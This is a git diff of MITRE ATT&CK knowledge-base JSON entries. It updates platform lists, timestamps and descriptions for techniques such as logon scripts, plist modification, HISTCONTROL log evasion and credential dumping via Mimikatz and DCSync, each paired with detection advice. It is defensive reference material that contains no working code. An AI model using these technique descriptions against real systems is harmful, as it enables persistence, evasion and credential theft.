Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -48,18 +48,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334.json b/enterprise-attack/attack-pattern/attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334.json
index 4c73ca4c88..aa702a906f 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2cc4d44-eb77-48b8-846a-bc2ff452fb16",
+    "id": "bundle--877a651d-1ae6-4fd8-be28-ad7565a41841",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:38.910Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Logon Scripts",
-            "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
+            "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,20 +46,8 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Write access to system or domain logon scripts"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104.json b/enterprise-attack/attack-pattern/attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104.json
index 70fabba8b0..a79cb1d869 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--374843af-7fbf-435e-bc59-04dcf4fc297c",
+    "id": "bundle--33195777-a2e9-4f37-b301-4152fc7be30d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:35.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Owner/User Discovery",
-            "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
+            "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,21 +37,9 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf.json b/enterprise-attack/attack-pattern/attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf.json
index 7f91b050fc..75211ba399 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e44335f-6be8-49ff-a270-4825d4f8735a",
+    "id": "bundle--4bf3a99b-9745-42de-8e92-2262add999dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Window",
-            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nPermissions Required: User",
+            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -39,8 +39,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb.json b/enterprise-attack/attack-pattern/attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb.json
index ed89ce155a..6d527603e3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14aa3b08-786a-40d6-80fa-2a0e716029e3",
+    "id": "bundle--05ebd1d5-ab2e-4c67-8ebd-5504e739776c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LC_LOAD_DYLIB Addition",
-            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
+            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,8 +47,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--06780952-177c-4247-b978-79c357fb311f.json b/enterprise-attack/attack-pattern/attack-pattern--06780952-177c-4247-b978-79c357fb311f.json
index d73634e365..76094743b5 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--06780952-177c-4247-b978-79c357fb311f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--06780952-177c-4247-b978-79c357fb311f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9870a733-34a9-4200-8a9f-baf610269771",
+    "id": "bundle--c480a6ab-3cec-4f24-8260-2948c279417a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Plist Modification",
-            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism (Citation: Sofacy Komplex Trojan).\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
+            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,8 +55,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--086952c4-5b90-4185-b573-02bad8e11953.json b/enterprise-attack/attack-pattern/attack-pattern--086952c4-5b90-4185-b573-02bad8e11953.json
index 99b3dd0020..023940030d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--086952c4-5b90-4185-b573-02bad8e11953.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--086952c4-5b90-4185-b573-02bad8e11953.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd87ad36-c729-418d-9c65-6a08fd5823d6",
+    "id": "bundle--0b6643e2-e6b1-4f48-8e05-3447d377d4ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HISTCONTROL",
-            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
+            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -42,8 +42,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22.json b/enterprise-attack/attack-pattern/attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22.json
index 80cca3dcef..45356e09f2 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d744adb7-59df-46a4-a9ca-6633169e23df",
+    "id": "bundle--004a4b70-09ad-411d-a7dd-5760229cd4c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:19.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential Dumping",
-            "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. The action works by simulating a domain controller replication process from a remote domain controller, which may contain various pieces of information included in Active Directory such as passwords, historical hashes, and current hashes of potentially useful accounts, such as the KRBTGT account NTLM hash. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data. (Citation: ADSecurity Mimikatz DCSync) The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket. (Citation: Harmj0y Mimikatz and DCSync) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Lateral Movement and access restricted information.\n\nTools may dump credentials in many different ways: extracting credential hashes for offline cracking, extracting plaintext passwords, and extracting Kerberos tickets, among others. Examples of credential dumpers include pwdump7, Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped. (Citation: Github Mimikatz Module sekurlsa)\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller.  Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data  (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,6 +47,51 @@
                     "source_name": "GitHub Mimikatz lsadump Module",
                     "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                     "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+                },
+                {
+                    "source_name": "Microsoft DRSR Dec 2017",
+                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
+                },
+                {
+                    "source_name": "Microsoft GetNCCChanges",
+                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
+                },
+                {
+                    "source_name": "Samba DRSUAPI",
+                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
+                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
+                },
+                {
+                    "source_name": "Wine API samlib.dll",
+                    "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
+                    "url": "https://source.winehq.org/WineAPI/samlib.html"
+                },
+                {
+                    "source_name": "InsiderThreat ChangeNTLM July 2017",
+                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+                },
+                {
+                    "source_name": "Microsoft NRPC Dec 2017",
+                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
+                },
+                {
+                    "source_name": "AdSecurity DCSync Sept 2015",
+                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+                    "url": "https://adsecurity.org/?p=1729"
+                },
+                {
+                    "source_name": "Harmj0y DCSync Sept 2015",
+                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+                },
+                {
+                    "source_name": "Microsoft SAMR",
+                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
+                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                 }
             ],
             "object_marking_refs": [
@@ -66,18 +111,7 @@
